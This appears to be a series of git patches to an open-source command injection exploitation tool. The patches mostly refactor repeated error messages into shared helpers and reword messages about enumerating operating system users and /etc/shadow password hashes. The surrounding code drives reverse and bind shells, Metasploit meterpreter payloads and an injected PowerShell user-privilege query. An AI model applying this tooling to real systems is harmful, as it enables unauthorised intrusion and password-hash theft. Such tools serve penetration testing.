http_request_method, injection_ elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -324,8 +323,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): @@ -389,7 +387,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ logs.executed_command(filename, cmd, shell) print(settings.command_execution_output(shell)) else: - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -402,8 +400,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 8303638c86..2d52ad0c62 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -312,8 +312,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -334,8 +333,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): @@ -396,7 +394,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ logs.executed_command(filename, cmd, shell) print(settings.command_execution_output(shell)) else: - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -409,8 +407,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b5648fbc87..695f9b430d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -383,8 +383,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.SINGLE_WHITESPACE) raise else: - err_msg = "'" + tmp_upload + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(tmp_upload) pass continue @@ -528,8 +527,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -552,8 +550,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.file_access_options(): @@ -612,7 +609,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r logs.executed_command(filename, cmd, shell) print(settings.command_execution_output(shell)) else: - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_critical_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -628,8 +625,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass except KeyboardInterrupt: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 1a1a6fb5d7..0daac7bd5c 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -299,8 +299,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass else: output = custom_web_root(url, OUTPUT_TEXTFILE) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 62bfeacf5f..4b8a647bce 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -247,8 +247,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass if settings.VERBOSITY_LEVEL == 0: @@ -467,8 +466,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -491,8 +489,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): @@ -571,8 +568,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index e690061edc..87dfe705d8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -515,6 +515,6 @@ def export_injection_results(cmd, separator, output, check_how_long): else: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) sys.stdout.write("\r" + settings.print_error_msg(err_msg) + "\n") # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index da3e40fa67..dc16fc24ef 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -125,8 +125,7 @@ def check_custom_injection_marker(url): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass """ diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index c8fc468bea..d25b7a843d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -383,8 +383,7 @@ def shellshock_handler(url, http_request_method, filename): elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: enumeration(url, cve, check_header, filename) @@ -402,8 +401,7 @@ def shellshock_handler(url, http_request_method, filename): elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: file_access(url, cve, check_header, filename) @@ -463,7 +461,7 @@ def shellshock_handler(url, http_request_method, filename): sys.stdout.write(settings.print_payload(payload)) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -479,8 +477,7 @@ def shellshock_handler(url, http_request_method, filename): raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) continue break diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 21af364768..cea825a68f 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -97,8 +97,7 @@ def define_wordlists(): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass try: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index dd3168a840..e3d0f5f940 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -83,8 +83,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + redirection_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(redirection_option) pass except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index d7eb890432..5248235de3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -142,8 +142,7 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass # Digest authentication @@ -172,8 +171,7 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass else: checks.http_auth_err_msg() @@ -1229,8 +1227,7 @@ def check_target_os(server_banner): elif got_os.lower() == "q": raise SystemExit() else: - err_msg = "'" + got_os + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(got_os) pass """ diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 68651c5372..89a58fd203 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -92,8 +92,7 @@ def set_php_working_dir(): settings.USER_DEFINED_PHP_DIR = True break else: - err_msg = "'" + php_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(php_dir) pass """ @@ -113,8 +112,7 @@ def set_python_working_dir(): settings.USER_DEFINED_PYTHON_DIR = True break else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_dir) pass """ @@ -134,8 +132,7 @@ def set_python_interpreter(): settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: - err_msg = "'" + python_interpreter + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_interpreter) pass """ @@ -207,8 +204,7 @@ def netcat_version(separator): return shell_options(nc_version) # Invalid command else: - err_msg = "The '" + nc_version + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(nc_version) continue while True: @@ -223,8 +219,7 @@ def netcat_version(separator): elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_bin_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_bin_dir) pass if nc_version != '4': @@ -443,8 +438,7 @@ def other_bind_shells(separator): return shell_options(other_shell) # Invalid option else: - err_msg = "The '" + other_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(other_shell) continue return other_shell @@ -487,8 +481,7 @@ def bind_tcp_options(separator): return shell_options(bind_tcp_option) # Invalid option else: - err_msg = "The '" + bind_tcp_option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(bind_tcp_option) continue @@ -543,12 +536,10 @@ def configure_bind_tcp(separator): else: continue else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index e2555f21c1..739849d5fb 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -107,8 +107,7 @@ def set_php_working_dir(): settings.USER_DEFINED_PHP_DIR = True break else: - err_msg = "'" + php_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(php_dir) pass """ @@ -128,8 +127,7 @@ def set_python_working_dir(): settings.USER_DEFINED_PYTHON_DIR = True break else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_dir) pass """ @@ -149,8 +147,7 @@ def set_python_interpreter(): settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: - err_msg = "'" + python_interpreter + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_interpreter) pass """ @@ -243,8 +240,7 @@ def netcat_version(separator): return shell_options(nc_version) # Invalid option else: - err_msg = "The '" + nc_version + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(nc_version) continue while True: @@ -259,8 +255,7 @@ def netcat_version(separator): elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_bin_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_bin_dir) pass if nc_version != '4': @@ -500,8 +495,7 @@ def other_reverse_shells(separator): elif windows_reverse_shell == '2' : output = "powershell_attack.txt" else: - err_msg = "The '" + windows_reverse_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(windows_reverse_shell) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -599,8 +593,7 @@ def other_reverse_shells(separator): elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: - err_msg = "The '" + web_delivery + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(web_delivery) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -655,8 +648,7 @@ def other_reverse_shells(separator): return shell_options(other_shell) # Invalid option else: - err_msg = "The '" + other_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(other_shell) continue return other_shell @@ -699,8 +691,7 @@ def reverse_tcp_options(separator): return shell_options(reverse_tcp_option) # Invalid option else: - err_msg = "The '" + reverse_tcp_option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(reverse_tcp_option) continue return reverse_tcp_option @@ -758,12 +749,10 @@ def configure_reverse_tcp(separator): elif option[4:12].lower() == "uripath ": check_uripath(option[12:]) else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/utils/common.py b/src/utils/common.py index e3417a89e3..d60b8802d8 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -27,6 +27,20 @@ from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +""" +Invalid option msg +""" +def invalid_option(option): + err_msg = "'" + option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + +""" +Invalid cmd output +""" +def invalid_cmd_output(cmd): + err_msg = "The execution of '" + cmd + "' command, does not return any output." + return err_msg + """ Reads input from terminal """ @@ -153,8 +167,7 @@ def create_github_issue(err_msg, exc_msg): print(settings.SINGLE_WHITESPACE) return else: - err_msg = "'" + choise + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + invalid_option(choise) pass except: print("\n") diff --git a/src/utils/crawler.py b/src/utils/crawler.py index d657097332..c0952f3cd4 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -52,8 +52,7 @@ def set_crawling_depth(): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass # Change the crawling depth level. @@ -89,7 +88,7 @@ def normalize_results(output_href): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." + common.invalid_option(message) print(settings.print_error_msg(err_msg)) pass @@ -115,9 +114,7 @@ def store_crawling(output_href): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - sys.stdout.write(settings.print_error_msg(err_msg)) - sys.stdout.flush() + common.invalid_option(message) pass @@ -150,8 +147,7 @@ def sitemap(url): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass no_usable_links(sitemap_loc) return sitemap_loc @@ -221,8 +217,7 @@ def enable_crawler(): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass set_crawling_depth() @@ -243,8 +238,7 @@ def check_sitemap(): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass """ diff --git a/src/utils/install.py b/src/utils/install.py index 40b1a2daea..897894e222 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -83,8 +83,7 @@ def installer(): uninstall in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + uninstall + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(uninstall) pass # Check for git. diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index e545b77d2d..c970cd8b33 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -304,8 +304,7 @@ def notification(url, technique, injection_type): else: pass else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass if settings.SESSION_APPLIED_TECHNIQUES: menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) @@ -313,8 +312,7 @@ def notification(url, technique, injection_type): elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(settings.LOAD_SESSION) pass except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index d281831f04..7962549441 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "80" +REVISION = "81" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" diff --git a/src/utils/update.py b/src/utils/update.py index 6ad463b601..65d9c3df67 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -143,8 +143,7 @@ def check_for_update(): elif do_update in settings.CHOICE_NO: break else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass except KeyboardInterrupt: raise @@ -241,8 +240,7 @@ def check_unicorn_version(current_version): elif do_update in settings.CHOICE_NO: break else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass except KeyboardInterrupt: From e1461c9d923d4140d057c30c6f0e066cd03895a4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 14 Jun 2022 07:34:55 +0300 Subject: [PATCH 159/560] Minor updates --- src/core/injections/controller/checks.py | 49 ++++++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 29 insertions(+), 22 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4319db5a8f..d01072c8a6 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1719,6 +1719,7 @@ def print_current_user_privs(shell, filename, _): # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() @@ -1729,7 +1730,7 @@ def print_os_info(target_os, target_arch, filename, _): if target_os and target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -1770,12 +1771,12 @@ def print_users_msg(self): info_msg = "Executing the 'net users' command " else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " - info_msg += "in order to enumerate users entries. " + info_msg += "in order to enumerate operating system users. " print(settings.print_info_msg(info_msg)) def print_passes_msg(self): info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " - info_msg += "in order to enumerate users password hashes. " + info_msg += "in order to enumerate operating system users password hashes. " print(settings.print_info_msg(info_msg)) def print_single_os_cmd_msg(self, cmd): @@ -1798,9 +1799,9 @@ def print_users(sys_users, filename, _): sys_users_list = sys_users_list.split() if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -1813,7 +1814,7 @@ def print_users(sys_users, filename, _): if menu.options.privileges: cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = escape_single_quoted_cmd(cmd) cmd = "cmd /c " + cmd response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) check_privs = cb_injector.injection_results(response, TAG, cmd) @@ -1830,21 +1831,23 @@ def print_users(sys_users, filename, _): else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: # print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." + warn_msg = "It seems that you don't have permissions to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: # print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." + warn_msg = "It seems that you don't have permissions to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass @@ -1875,9 +1878,9 @@ def print_users(sys_users, filename, _): if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -1918,11 +1921,13 @@ def print_users(sys_users, filename, _): else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -1945,7 +1950,7 @@ def print_users(sys_users, filename, _): except IndexError: # print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass @@ -1959,9 +1964,9 @@ def print_passes(sys_passes, filename, _): if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_passes) == 1] + info_msg += " password hashes [" + str(len(sys_passes)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -1979,7 +1984,9 @@ def print_passes(sys_passes, filename, _): # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7962549441..233f30b3ee 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "81" +REVISION = "82" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From f078ff089400aa880729f092b3d3af11eb064ff7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 Jun 2022 07:40:53 +0300 Subject: [PATCH 160/560] Minor refactoring regarding "sleep2timeout" tamper --- src/core/tamper/sleep2timeout.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index f647e32942..b2e9554e0b 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -37,7 +37,7 @@ def sleep_to_timeout_ping(payload): payload = payload.replace(match.group(0), match.group(0).replace("sleep", 